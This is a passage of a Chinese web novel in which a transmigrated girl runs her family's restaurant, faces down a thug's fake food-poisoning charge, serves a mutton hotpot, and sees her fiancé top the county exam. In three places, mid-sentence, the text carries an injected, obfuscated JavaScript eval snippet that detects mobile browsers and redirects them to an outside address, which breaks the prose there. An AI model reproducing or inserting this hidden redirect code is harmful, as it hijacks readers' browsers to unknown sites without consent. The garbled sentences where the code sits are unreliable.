叶扶秋年纪不大，头上还扎着属于少女的双髻，说起话来直晃悠，配上她脸上明媚笑意，看着可爱极了，周围客人被她自卖自夸的样子逗笑，纷纷也要再来碗砂汤。 叶父在后厨忙得脚不沾地，叶扶秋也赶紧过去帮忙，她拿了只大海碗，干脆利落地在碗边敲开蛋壳打进一颗鸡蛋，用筷子飞快搅散，再冲进滚烫的高汤，灼热的高温便瞬间将生蛋液烫成漂亮的蛋花，再撒上少许葱花香菜，一碗鲜美的砂汤便新鲜出炉了。 这高汤是前一晚用猪骨、鸡架和火腿炖的，里面放了淀粉勾芡，浓稠的汤汁包裹着鸡丝，喝上一口简直要鲜掉眉毛，汤里还放了切碎的香菇和木耳，丰富的口感让人更加爱不释口。 客人们吃得正欢，店外却忽然传来一道粗粝的声音：“呦，这么多人呢，你们叶记这是发达了？怎么也不知道和爷报个信，叫爷好来一道高兴高兴。” 是有人来砸场子了。 叶扶秋擦了擦手，收敛笑意，她绕过正门，到来人看不见的角落招了招手，一个脸黑黢黢的小乞儿便悄悄凑了上来：“小六，帮我去报官，就说有人来叶记闹事，银子给衙役，剩下这些铜板作为你的报酬。” 她递过去一个小荷包，里面装了二两碎银，还有些铜板。 小六点点头：“秋秋姐放心，我一定办妥。” 这小乞儿才八九岁，从外县流浪而来，叶扶秋见他可怜给他吃过几顿饭，他便时常在叶记附近逗留，有时帮忙收拾桌椅扫扫地，古灵精怪，是个聪明的孩子。 安排好小六，叶扶秋回到店里，叶父已从后厨赶了出来，余氏躲在他身后，满面慌张。 店里一片死寂，所有的眼睛都盯着门外的壮汉，他身后跟了四五个拿着棍棒的混混。 叶扶秋听到父亲冷着声音：“胡大，你来做什么？” 原来这就是胡大。 11. 谋财害命 “做什么?”胡大挑起眉毛，大拇指向下朝身后比了比，“爷来给兄弟讨公道！” 他身后走出两个混混，架着个面色蜡黄的男人走到叶父面前，胡大高声道：“乡亲们可看好了，这叶记是个黑店，把我兄弟都吃坏了！” “休得胡说！”叶父大怒。 “谁胡说，”胡大做出一副义愤填膺的样子，“我兄弟早上吃了你家的东西，回去就上吐下泻，腹痛不已，张大夫说毒入肺腑，肝胆俱损呐！” 他说着，身后就走出个花白胡子老翁，正是他口中张大夫，点头煞有介事为他佐证：“老朽行医多年，一看便知，此人面黄唇乌，又有下痢作呕，手足厥逆之症，正是霍乱之象啊。” “什么，霍乱？” 店里食客顿时一惊，霍乱可是会传染的！ 那据说得了霍乱的男人捂着肚子虚弱道：“就是吃了你家的粥，才叫我害了病，叶记这是谋财害命！” 食客们本以为只是几个混混寻由头闹事，被他们这样带着大夫一闹，原本不信的也信了三分，有胆小的纷纷站起身逃出了店外。 胡大嘴角露出一丝得逞，嚷嚷起来：“吃食不干净也敢做生意，老子今天就替天行道，砸了你摊子！” “你敢！” 叶父怒视他：“你有什么证据证明是在我家吃坏的，凭空污人清白，天底下哪有这样的道理！” “我就是证据，”胡大不屑道，“我这几个兄弟都能作证，他就是在你们店吃坏的。” “我怎知他是不是误食了别的毒物才生病，你这是故意污蔑！” “难道我失心疯故意叫自己生病？”那病人咳嗽几声，嚷道，“早上吃完你家的粥，我就没再吃过别的东西了！” 叶父和他们吵起来，店门外很快围了一圈看热闹的，因着有大夫的证词，议论声竟是一边倒的倾向了胡大一方。 叶扶秋冷眼看着这场闹剧，公说公有理，婆说婆有理，这当子无头官司就算在现代也不好摆平，遇上这种无赖，店家往往只能捏着鼻子吃个暗亏，赔点钱息事宁人。 可胡大真是为了钱吗？ 叶扶秋不能确定。 原著里的胡大是县里有名的混混头子，仗着和县太爷有几分亲戚，没少在县里作福作威，寻常百姓根本惹不起他。 叶小宝和他那赌棍生父能夺走叶记，全靠着有胡大撑腰，甚至连顾宴苏的父母，都是被胡大害死的。 就像是小说套路里常写的那样，每个主角都会被安排一个凄惨的身世。 顾宴苏父亲是个落第秀才，母亲则是个美貌绣娘，因被胡大调戏，逃跑时不幸落水溺亡，顾秀才悲痛之余上门理论，却反被抢光钱财打了一顿赶出门外，这无能为力的文弱书生回到家便悬梁殉了情，只留下年幼的顾宴苏独活在世上。 顾宴苏始终记着这份仇恨。 叶显宗和顾秀才是多年老友，念及两家儿女的娃娃亲，便接了顾宴苏回家照顾。可惜男主运气不好，叶家一双儿女都不是好人，一个视他为抢家产的赘婿，另一个则视他为没本事的窝囊废。 而叶父对自己亲女儿都不曾上心，更何况顾宴苏这个“外人”，而叶母则眼里只有养子，从不管他们如何欺辱顾宴苏。 以至于顾宴苏在叶家为父母守孝三年，受尽屈辱，等他逃出叶家科举入仕，从胡大到叶家，他一个仇人也没放过。 不过那都是后话了，书里叶记不曾起死回生，自然也不存在胡大亲自上门闹事，叶扶秋冷眼旁观，只觉得蹊跷。 世间的偶然，总该有其缘由。 她盯着那群混混，一个山羊胡中年男人混在里面煽风点火，言语中似乎对叶记很是了解。 叶扶秋记得，原著里叶小宝的生父就生着一对山羊胡。 眼见着胡大一行人越闹越来劲，叶父被气得面红耳赤，叶扶秋终于上前冷静地询问那名病人：“你说你是何时来叶记用餐的？” “一个时辰前，”那山羊胡叉着腰主动替病人回答，“刚吃完回家就上吐下泻，你们叶记可太毒了！” “好，那请问你共点了什么菜，花了多少钱？”叶扶秋淡然取出账本，向周围客人们大大方方解释道，“每个客人就餐的纪录我们都有留存，大家若是真在叶记吃出问题，不必担心我们不认。” 山羊胡支吾起来，有些含糊的说：“吃了……吃了肉粥和——” “他们吃了及第粥和糍饭糕。”叶小宝的声音忽然从身后传来，“我早上看到了。” 叶扶秋核对账本的手一顿，似笑非笑：“哦？小宝弟弟竟然记得这么清楚？” “我、我正好看到了！”他状似天真地问叶扶秋，“姐，是不是咱家用的食材不新鲜了？你这些天把采购钱压那么低，买的菜不好也正常、” 他这话一说出来，周围顿时一片哗然，叶记这是自己锤了自己食材有问题？ “用不着这么急着给咱家定罪。”叶扶秋从他装出的担忧里看出那点险恶用心，“叶记的采购渠道都是走熟了的，只是需求变少才压低了成本，断没有不新鲜的食材。” 她翻了翻账本，挑眉道：“你说一个时辰前用了餐，可我这账本上却并没有这位客人的纪录。” “一定是你太忙了漏记了！”叶小宝抢白，“我都亲眼见到他们来吃了，不会错的！” 叶父叶母神色诧异地看向他，余氏轻轻拽了他一下，只以为是他年幼耿直，小声道：“小宝别说了。” 被自家人这样当众拆台，叶扶秋并不好反驳，她皱眉理了理思路，终于道：“姑且算你说得是真的，那我还有几个问题想问这位客人。” “你方才说吃了我家的饭菜上吐下泻，腹痛不已？” “是。” “你呕吐、泻下的可是未消化的食物？” “是。” 她一连发问，听得周围人都有点发懵，山羊胡隐约觉得不对，阻止病人继续回答，嚷道，“别说这些有的没得了，总之就是你叶记不干净，黑店！” 叶扶秋哼笑出声：“黑店？叶记是黑店，那你们这些平白污人清白的黑心肝又算什么？” “你撒谎！”她忽然大声一喝，指着那病人连珠炮般质问，“霍乱发病至少需要半天之久，你一个时辰前来用的餐，如何能这样快出现症状？” “霍乱之症，泄而不痛，你方才却说腹中绞痛不止？” “霍乱泄泻，排的是米泔水一般的水样便，何来未消化的食物？” 一连三问，问得那人两股战战，脸色惨白。 “大家若不信，大可去隔壁寻仁和堂的陈医师来，那可是真正德高望重的名医！至于你……”叶扶秋又将矛头转向旁边面色大变的白胡子老翁：“你又是哪里来的赤脚大夫？连霍乱症状都分辨不出，还敢在这里信口雌黄，若是引起恐慌造成民乱，你担得起吗！” 张大夫吓得说不出话，口唇嚅嗫，哆嗦起来：“不是，我、老夫……” 似乎是墙倒众人推，方才无人质疑，此刻却忽然接二连三有人说起：“咦，这老头不是我们村的老光棍吗，什么时候成了大夫？” “是啊，张丁头你少在这胡说八道了，十里八乡谁不知道你是什么货色！” “还大夫呢，吓我一跳，搞半天是碰瓷的。我说呢，叶记味道这样好，哪里会不干净。” 叶扶秋环顾一周，朗声道：“大家不必担忧，我叶记向来注重卫生，每日闭店后都会将碗筷清洗干净，在沸水中烧煮，食材每日新鲜采购，生案熟案全部分离。” “若真是因为叶记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092742|195504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身体不适，只要有真凭实据，叶记必当负责到底！” “好！” “这才是良心店家！叶记好样的！” 她这一番慷慨激昂的自陈，听得周围食客们赞扬不已，胡大这一闹，竟反倒给叶记扬了名。 然而还没等叶家人松口气，就见胡大铁青着脸，举起棍子“砰”一下砸断了门口的叶记招幌。 他冷哼：“爷管你他娘的狡辩，我兄弟就是在你这吃坏了！” 竟是图穷匕见，也不管事实与否，硬是要赖上叶记了。 “弟兄们给我砸，老子看你这店还开不开得下去！” 话音刚落，那几个混混就冲进店里开始打砸，惊叫、混乱声乱作一团，食客们吓得纷纷逃窜。 叶扶秋拦住想冲过去阻止的父亲，眸中闪过一丝焦急，县衙的人怎么还不到！ 等店里变得一片狼藉，一群衙役才姗姗来迟，打前的班头举着水火棍一声大喝：“何人闹事，给我拿下！” 五六个衙役蜂拥而上，锁拿下那几个混混，然而看到他们背后的胡大，却忽然顿住了手，一个衙役对班头露出迟疑：“刘班头……胡大在里面。” 胡大？那可是县太爷的小舅子！ 刘班头却冷笑：“我管他是谁，天王老子也别想在我当班的时候闹事！” 说罢，便亲自上前锁拿胡大，胡大将他狠狠一推，狠戾道：“看清楚爷是谁，凭你也敢动老子？” “我不管你是谁，我只知道你欺压良民，聚众闹事，该判杖刑！” 刘班头义正言辞，粗犷的浓眉几乎竖起，两手持锁用力压向胡大，国字脸涨得通红。 他身长九尺，武艺高强，胡大虽会点江湖手段，正经打起来却并不是他的对手，眼见就要被压倒在地，遥遥的，忽然传来一道气喘吁吁的声音：“刘班，你给我放开！” 来人一路小跑到两人面前，伸手扒拉刘班头：“都是误会，误会，何必动手！” 刘班头刚毅的脸色终于变了，他被迫松开手，低声叫了声：“胡典史。” 典史只是“未入流”的小官，却因掌管县城刑狱，实权实在不小。 胡典史见他放了手，和颜悦色拍拍胡大：“没事就好。” 他问：“事主呢？” 叶父憋红了脸，指着胡大就怒道：“请大人为小民做主！这厮到我店里寻衅滋事，坏我商誉，还砸了我的店！” 胡典史随意询问了几句，便挥挥手：“欸，都是小事，他来这闹不也是因为朋友在你家吃坏了肚子？关心则乱罢了。” “什么？！” 他又装模作样批评胡大：“你也是，年轻人太冲动，再怎么也不该动手嘛。” “这样吧，你们二人各退一步，握手言和，此事就算过去了！” “哪有这样的道理！那是子虚乌有的诬告，他来砸了我店铺，我还要和他握手言和？！”叶父握紧双拳，简直要气昏过去。 “哦，那你是说本官判得不对？”胡典史突然一改脸上笑意，嘴角下沉，绷着脸瞪向叶父。 胡典史和胡大五官肖似的脸上出现了同样的凶狠，叶父一下子不敢再反驳：“……小人不敢。” “那不就结了，”胡典史瞬间又挂起假笑，“就这样吧，走了！” 叶父被迫和胡大握了手，只觉得右手几乎要被胡大捏断。 刘班头也无奈，只得放了人，让衙役们跟着胡典史先回衙门，自己则留下来同叶父说话。 他递给叶父一个荷包：“抱歉，是在下无能，这钱还给你们。” 看着他脸上的挫败，叶父有些疑惑：“这钱是？我没给钱啊？” 叶扶秋叹了口气，走到两人面前：“是我托人去县衙报的官，这钱也是我出的。” 12. 涮羊肉 叶扶秋将荷包推了回去：“刘班头收下吧，您能带人赶到就已经帮了大忙，若没有您，今日还不知该怎么收场呢。” 叶父吃惊地张大了嘴：“你何时托人报的官？”他竟完全没发现。 叶扶秋指指门外神色有些忐忑的乞儿小六：“胡大刚来我就喊小六去了。” “这孩子机灵的很，”刘班头点点头，对叶父道，“多亏了有你女儿及时报官，否则今日结果不堪设想。” 叶父也后怕地拍拍胸脯，欣慰地赞了句叶扶秋：“是啊，还好秋儿机敏。” 看着手里的荷包，刘班头神色复杂，犹豫半天才收回手道：“那些混混要是再来，你就立刻派人去县衙寻我。” “多谢刘班头。” 谢别了刘班头，叶扶秋看着满目疮痍深深叹息，叶父也像斗败的公鸡，沮丧地瘫坐在地上。 叶扶秋就手扶起一把椅子，冷静思索起来。 胡大今天来闹事，硬是咬死叶记把人吃病了，却对赔偿一字未提，甚至在被她揭穿以后直接掀了桌子进来打砸，可见他要的不是钱。 不图钱，还能图什么？ 叶记和他无冤无仇，想到今天见到那个肖似叶小宝生父的山羊胡，叶扶秋心里隐隐有了答案。 看着垂头丧气的爹娘，叶扶秋安抚道：“爹娘别丧气，官府也不是全都沆瀣一气，瞧那刘班头不就是好人？总归有人能整治那胡大的。” 叶父懊丧地捶着大腿：“他是好人有什么用，有那些狗官在，还不是眼睁睁看着这混蛋逍遥法外！” “父亲噤声。”叶扶秋低声提醒，“这些话咱们在家里抱怨就算了，可别在外面说。” “唉！” 愁归愁，日子还得过，一家人只能认命收拾起屋子。 “秋姐姐，对不起，都怪我带人来的太晚了。”叶扶秋正要弯腰捡地上的盘子，一双黢黑的小手却抢先捡起来递给她。 “怪你做什么？”叶扶秋接过盘子，摸了摸小六的头顶，“要不是你机灵，恐怕姐姐今天都等不到衙役来。” 小六黑葡萄似的眼睛睁得大大的，像是留恋她掌心的温度，忍不住蹭了蹭：“姐姐，我帮你一起收拾！” 小孩黝黑的脸颊上透出一抹薄红，不等叶扶秋回答，就一溜烟帮着干起活来。 叶扶秋失笑，真是个热心肠的孩子。 …… 被胡大这一闹，店里许多客人没来得及付钱就跑了，加上被打砸的桌椅，着实损失不小。 经叶扶秋一番计算，这些天赚来的钱竟是亏空了一大半。 这该死的胡大！ 就这样收拾到傍晚，顾宴苏终于考完最后一场覆试，回到叶记。 看见早上出门时还干净整洁的饭馆变成这样，顾宴苏眉头一皱，难得主动问叶扶秋：“发生何事了？” 抬头看见他，叶扶秋擦擦额角的汗水，解释道：“早上胡大来家里闹事，砸了饭馆。” “胡大？没报官吗？” “报了，官府人是来了，可那典史姓胡，和完稀泥直接放他们走了。”叶扶秋摇头露出几分无奈来。 顾宴苏眉心紧锁，脸色难看下来，似乎陷入了什么不好的回忆。 “咱们晚上吃火锅吧！”叶扶秋忽然道，她想起胡大和顾家的旧怨，连忙打岔。 “什么？”话题转变太过突兀，顾宴苏有些茫然地从回忆中惊醒。 叶扶秋装作若无其事：“你想叫它拨霞供也可以，天这么冷，就该吃涮羊肉，正好你也考完了，来和我们一起吃吧。” 她说完，直接丢下正愕然的顾宴苏，就一脸兴奋去跟爹娘说晚上吃羊肉锅子的事。 叶父叶母本没有心情，可叶扶秋说心情不好更要吃好才能打起精神，又被她一番描述勾起食欲，两人便各自被分了工，去采买叶扶秋所说的菜品。 顾宴苏也没有例外，直到他从肉铺拎着二斤羊肉往回走，才终于从恍惚中回神。 叶扶秋好像一点儿也没有被白日的乱局所困扰，比任何人都要更早的接受了现实。 天大地大，吃饭最大！ 叶扶秋不停翻炒着锅里的芝麻，“噼里啪啦”，那些白色的小小颗粒一点点变成浅金色，浓郁的芝麻香气便跃然而出。 旁边小盆里是同样经过小火炒制之后，香香脆脆的花生，放凉了再轻轻一搓，深红的外衣便被轻松褪开，露出里面颗颗圆润饱满的果仁。 幸好原著是架空时代，否则叶扶秋真不敢想象没有花生她得有多痛苦，现实里的花生可是直到清朝中期才得到广泛种植。 没有花生没有麻酱的涮羊肉，简直是没有灵魂！ 花生芝麻在这个时代虽然卖得贵，但普通百姓偶尔也能吃得起，叶扶秋想吃涮羊肉，当然得安排上芝麻酱。 正宗的芝麻酱也叫“二八酱”，叶扶秋混着两份芝麻八份花生倒进石臼，石杵在臼里不断地研磨，先是粗粝的碎块，再到细腻的粉末，花生和芝麻开始析出油脂，慢慢的，就变成了流动的酱质。 放了些盐糖调味，用筷子蘸上一点尝味，那股子香醇浓厚的果仁味道便包裹了味蕾，顺滑又浓郁，这就是最原生的麻酱味道。 可惜条件不允许，否则叶扶秋还想再放点韭菜花和腐乳，那才叫一个地地道道。 麻酱做好，出门采购的三人也回来了，除了羊肉还有几样时令蔬菜。 众人所在的越城地理位置偏南，气候与现世的江浙一带相似。 农历二月，除了窖藏的白菜萝卜，已能吃上菠菜、荠菜和芹菜、茼蒿等春菜。 叶扶秋择捡好蔬菜，又将羊肉切成薄薄的片状——羊肉是她特地叮嘱顾宴苏买的里脊和上脑，这些部位肉质细嫩，肥瘦相间，最适合做涮羊肉。 本来还怕顾宴苏不懂乱买，幸好那肉贩子老实，没把这小书生给坑了。 叶扶秋偷偷笑了一声，惹得旁边帮忙洗菜的顾宴苏莫名其妙回头看了她一眼。 叶父叶母正按着方才叶扶秋交待的指示架锅，桌上放了炭盆，盆上又架了一只铁釜。本该用带“烟囱”的铜锅，但因是临时起意，也只能暂时选择“平替”了。 四个人各忙各的，这一刻的叶记饭馆里，竟是出奇的平静与和谐。 等菜全备好，炭盆里的炭火也已经烧红，往铁釜里倒进清水、几块葱姜，等水烧沸便可以下菜了。 四人围坐在桌前等着，叶父叶母有些好奇的打量满桌子红红绿绿未经烹煮的菜，一盘盘羊肉切得薄如蝉翼，鲜红的肉片间散落着雪花般的油脂， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092743|195504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞧着诱人得很。 古代版火锅“拨霞供”，涮的其实是兔肉，而在书中的时代里，众人并不曾见过这样的吃法。 叶父看着一桌子菜，不以为然道：“摆了一桌子菜都是生的，叫人瞧见还以为咱家茹毛饮血呢！” 叶母也疑惑：“这不就是水煮菜，为何不一起煮了再端出来，而且这清水煮菜能好吃吗？” 叶扶秋神秘兮兮：“火锅和水煮菜那能一样吗！羊肉片就得现涮才好吃，若放锅里炖久了，老了就不好吃啦！” 她献宝一样端过来一盆麻酱，用小勺给每人都分了些，不是她小气，是芝麻花生太贵，家里暂时还经不起大量供应。 叶父嗅了嗅：“这酱倒是很香，有芝麻……还有花生，这可不便宜，但这要怎么吃？” “别急听我说，”叶扶秋举着筷子站起来，说得头头是道，“咱们这个火锅啊，得先涮肉再涮菜，等羊肉的精华都融进肉汤里再涮蔬菜，那味道可鲜了！” 要不是这个时代没有辣椒，她都想再来个川味锅底吃鸳鸯锅了！ 叶扶秋小声嘀咕，却还是被旁边顾宴苏听见，他忽然出声问：“辣椒是何物？这‘火锅’的吃法你又是如何想到的？” 叶扶秋一僵，干笑了一声打起哈哈：“辣椒就是另一种茱萸……我在古书上看到的，别管了，只是偶然见过。” 察觉她脸上的敷衍，顾宴苏没再追问，叶扶秋便松了口气继续介绍道：“涮羊肉要三上三下，羊肉变了色就可以捞出来，再蘸点麻酱——” 她说完就示范起来，薄薄的羊肉片在滚水里起伏几下，很快变了颜色，往麻酱碗里一蘸、再一吹，羊肉片进嘴咀嚼几下，哇！ 新鲜的羊肉紧实又鲜嫩，裹上麻酱吃不出一点腥膻，鲜美的肉汁在嘴里炸开，富有嚼劲的筋膜又很弹牙，复合的口感简直在人嘴里炸烟花。 “清水涮肉能有多好吃？”叶父面上一副不屑的样子，但还是学着她去涮肉，然刚吃了一口眼睛就亮了起来。 余氏惊讶：“真的好吃？” “好吃！太好吃了！”叶父只来得及说了一句话，就迫不及待又夹了一筷子肉去涮，“这肉切得薄，涮熟了果然嫩得很！” 余氏也赶紧尝试，原汁原味的清汤涮肉保留了羊肉的鲜美，而麻酱浓郁的坚果香气正中和了膻味，这醇厚的口感让她一个最怕羊膻味的人都抗拒不了。 她吃得太急，就算被滚烫的羊肉烫到，都只是“嘶”了一声就继续吃得停不下来。 就连向来不重口腹之欲的顾宴苏，都没忍住多吃了几口。 叶扶秋忙里偷闲瞅他几眼，又瞧见饭桌上难得和谐的氛围，心里不由松了口气，说不定这顿火锅能缓和顾宴苏同叶家的关系？ 然而天不遂人愿，或许是火锅太香，四人吃得正欢时，叶小宝却闻着香气出来了。看见围桌而坐的众人，顿时一愣：“娘？怎么吃饭不叫我？” 等他看到桌上的顾宴苏，更是二愣：“他怎么也坐在这？” 叶母这才发现忘记喊养子，不禁尴尬道：“小宝快来一起吃。” 叶小宝却径直跑到顾宴苏面前，面色不善：“谁许你坐这的，滚开！” 顾宴苏没动，抬头有些冷漠的看着他：“我为何不能坐？” 13. 文曲星 顾宴苏冰冷的眼神像刺一样扎在叶小宝身上，这些天养父母的无视，养姐的“欺侮”，一夜之间所有人都翻天覆地的变了，现在甚至连眼前这个废物赘婿都敢无视他的存在！ 他双手握成拳头，气得像河豚一样鼓胀起来：“你又不是叶家人，一个外人，凭什么和我平起平坐？！” “这个家的外人何止我一个？” 顾宴苏却忽然低笑了一声，笑得叶小宝头皮发麻：“你笑什么！” 勾起他心中不安的人却并不回答，只是用那种淡漠的、不带有一丝在意的不屑眼神看着他，直到叶父终于开口打圆场：“好了，都少说两句。” “我不要跟他坐一桌！”叶小宝还要胡搅蛮缠。 “那你就别吃。”叶扶秋打断他，挑眉道，“你又没干活凭什么吃，我们四个可都为这顿饭出了力。” 叶小宝被她气得说不出话，一咬牙一跺脚，也顾不得吃饭，转身踹了门就跑出叶记大门。 “小宝！”余氏怕他出事，起身想追，叶父伸手拦住她，“都这么大人了，不管他！” 他一副横眉冷对的样子，似乎对养子也有些不满，毕竟叶小宝白日帮着外人说话，好像鬼上身一般，实在叫人不解。 饭桌上的气氛变得死一般寂静，只有咕噜咕噜冒着泡的火锅还提醒着自己的存在感，叶扶秋“咳”了一声：“咱们继续吃，别浪费了好菜。” 吃了会，她忽然又道：“这好像还是顾宴苏第一次和咱们一起吃饭。” 她给他夹了一筷子羊肉，嘴角生出浅浅梨涡：“县试总算是考完了，恭喜你终于正式踏入科举一途。在叶家这三年，我知道你心中有怨，等你有了功名，尔后便算是‘天高任鸟飞，海阔凭鱼跃’了。” 她这话说的太过直白，叶父叶母都有些尴尬，叶父强撑起大家长的尊严：“小苏啊，从前是叶伯伯疏于管教，叫这两个不成器的东西做了错事，你不要放在心上。以后就在叶家好好读书，有叶伯伯一口饭吃就有你一口。” 顾宴苏脸色淡淡，看不出在想什么，叶父忽然又感慨起来：“小苏和你父亲长得是越来越像了，虽说当年我和你父亲给两家定了娃娃亲，但你也不必在意，行事但凭本心罢，否则成就一双怨侣反而不美。” 叶扶秋正喝水呢，闻言呛了一下：“咳咳咳，爹你说啥呢！” “但凭本心？”顾宴苏轻声重复，神色莫测地应道，“叶伯父说得是，宴苏受教了。” 见他似乎没有生气，叶扶秋心中生出一股希冀，这顿火锅难道真吃对了，顾宴苏愿意原谅叶家了？ …… 后面一连三天，叶记都没有营业，店里破损的陈设尚未补全，还有胡大的威胁在后，叶记没敢贸然招揽客人。 今天就是县试放榜的日子，顾宴苏平静地坐在饭馆角落看书，一缕阳光从窗棂斜斜照着他脸上，将他瘦削轮廓柔和了几分，他动作如常翻了页书，整个人显得岁月静好。 叶扶秋擦着桌子，不时悄悄打量他，不知为何，原先非必要不出房间的顾宴苏，一连三天都坐在了饭馆大堂，整日静心读书，有时却也很突然的出现在她身后，或是及时帮她扶起重物，或是帮她取下高处的置物。 看她的眼神却依旧漠然，冷冰冰的，好像除了厌恶别无他意。 叶扶秋看不懂，但这不影响她使唤人：“顾宴苏，来帮我搬下这个柜子。” 顾宴苏一声不吭放下书，面无表情地来了，叶扶秋盯着他，还是没忍住好奇道：“今天放榜，你不紧张吗？” 男主将来再厉害，这也才是他第一次参加科举，甚至现在他比原著还要提前了一年参加县试，他才十四岁，心里真的不慌？ “童试罢了。”顾宴苏放下柜子，拍了拍手心的灰，面上云淡风轻。 叶扶秋竖起拇指，不愧是男主，这把装的到位。 “有能喘气的没？快给爷出来。” 正闹着，门外胡大粗粝难听的声音又响了起来，几乎是一瞬间，顾宴苏绷直了背脊转身望过去，目光如刀般扎到来人身上。 店门被胡大踹开，叶扶秋飞快给门口的小六使了个眼色，小六会意，无声无息溜出去寻刘班头了。 叶父叶母都不在，叶扶秋硬着头皮顶上去：“你有什么事？” “小娘皮，喊你家大人来说话。”胡大摸着下巴，盯着叶扶秋俏生生的小脸，眼神直勾勾的。 叶扶秋皱眉：“有什么话同我直说便是。” 他乜斜着眼，笑得淫邪：“呦，跟你说，你能做主？那不如嫁给爷做第八房小妾，还有这叶记就当嫁妆送我吧。” 叶扶秋啐他：“你不如趁天亮赶紧回家睡觉，说不定在梦里实现会快一点！” 胡大摸了摸嘴角的涎水，猛地变脸道：“你这丫头长相虽好，说话却实在难听，我劝你别不识抬举！” “就是，胡爷看重你，那是你这小娘皮的福分！” 胡大同几个混混哈哈大笑，还伸手要去摸她的脸，不等叶扶秋闪躲，顾宴苏清冷的声音就伴着他微凉的手一起到了，他将人拉到身后，冷斥一声：“厚颜无耻！” “哪冒出来的浑小子，毛长齐了吗就学人英雄救美？” “光天化日，朗朗乾坤，岂容尔等在此放肆！” 顾宴苏义正言辞的话听得胡大一怔，他眯了眯眼：“这话我怎么听着这么耳熟呢？” “顾宴苏你在这干什么，滚远点少碍事！” 胡大正疑惑着，就见叶小宝不知从哪钻出，他声音热切谄媚一笑：“胡老大，别管这个废物了，他就是寄住在叶家的一个赘婿。” 叶扶秋见他和对面亲亲热热，尤其是那山羊胡男人，两人装作不识，可眼神之间的熟稔根本藏也藏不住。 “姓顾……”胡大死死盯着顾宴苏的脸，恍然大悟道：“啊，你是那个姓顾的酸秀才的儿子？呦，还活着呢？” 竟是一眼就认出了顾宴苏，他语气满怀恶意：“仔细瞧瞧，你和你爹真是一模一样，没本事的穷书生。你娘倒是个美人，可惜她福薄，没那个命跟爷。” “无耻之徒！”顾宴苏手攥的死紧，向来从容的脸上露出一丝怒容，“胡大，你迟早付出代价！” 他虽愤怒，却并没有冲动，叶扶秋担忧地看着他，原著里男主一直隐忍不发，直到身居高位有能力置胡大于死地才终于出手报复。 他将庇护胡大的杨知县明升暗降到别处，又收买了胡大手下捧杀于他，胡大自以为后台通天，更是不知天高地厚四处为非作歹，最终竟于一个雨夜死在了走投无路的流民刀下。而他自以为牢固的靠山，也被顾宴苏找到贪赃枉法的证据，弹劾后问斩了。 但此时，十四岁身无功名的顾宴苏，只能忍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092744|195504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他紧紧咬着下唇，叶扶秋见到他唇边溢出血丝，心有不忍，可她只是穿越者又不是神仙，穿书而来的头一次，叫她知道自己无能为力。 混混们吵嚷的喝骂中，十四岁的少男少女一前一后，形单影只，却如同两株幼杉，终成参天之势。 焦灼的杂音中，远远的，竟忽然传来一阵喜庆的乐声，一个机灵的报子已经一个箭步冲到叶记门口：“捷报！捷报！” “捷报！贵府顾老爷讳宴苏高中县试案首头名！” 众人顿时炸开了锅，谁？谁中了案首？ 叶扶秋被巨大的惊喜击中，原著里男主县试也只是得了第二，如今在这仓皇之下他竟中了案首！ 报喜的队伍敲锣打鼓到了门口，然而看到叶记门前两方对峙的情形一时间乐声都吓变了调，号手不知该不该吹，锣手不知该不该敲。 正尴尬时，从短暂惊愕中回过神的胡大恼羞成怒骂一声：“狗屁案首，连秀才都不是，吵什么吵！” 乐声顿时戛然而止。 “……这就是本届县试案首之家，本县治下百姓一心向学，是以英才出少年，这案首如今才十四岁。” 与此同时，没了乐声阻碍，另一道男声却渐渐清晰起来，为首一个身穿官服的男人毕恭毕敬带着一位长髯老者，身后带着群衙役正浩浩荡荡靠近了叶记。 “这是……？”老者看到店门口的乱局，也是一愣。 打头那位官员这才回头看向店门，一眼看到胡大和他那副大闹的架势，再看到店门口被团围着可怜兮兮的少男少女，这少年莫不就是本届案首？ 官员瞪大眼睛，看着简直要背过气去。 胡大也惊讶：“姐夫你怎么来了！” 来人竟是本县县令杨承恩，听到胡大语气亲昵，他脸色一黑：“谁是你姐夫！” 又转头对身旁老者极尽谄媚，“季先生别误会，我与此人并不相识，本县治下一向清平，断没有这种欺男霸女的奸人，想必是不知哪来的流民。”，又换了副嘴脸向衙役喝令道，“来人，将这群刁民驱走，莫要惊扰季老先生！” 方才还嚣张跋扈的胡大，就这样带着一脸震惊和不可置信，被衙役们暴力驱走了，周围看热闹的百姓见恶霸走了，顿时一改前头的避之不及，纷纷向叶记贺喜。 “天呐，叶记竟然出了个案首，这可是头名啊！” “恭喜恭喜，顾相公前程似锦。” “这是文曲星下凡落在叶记了，以后我可得多带我家那小子来叶记吃饭，沾沾县案首的才气！” 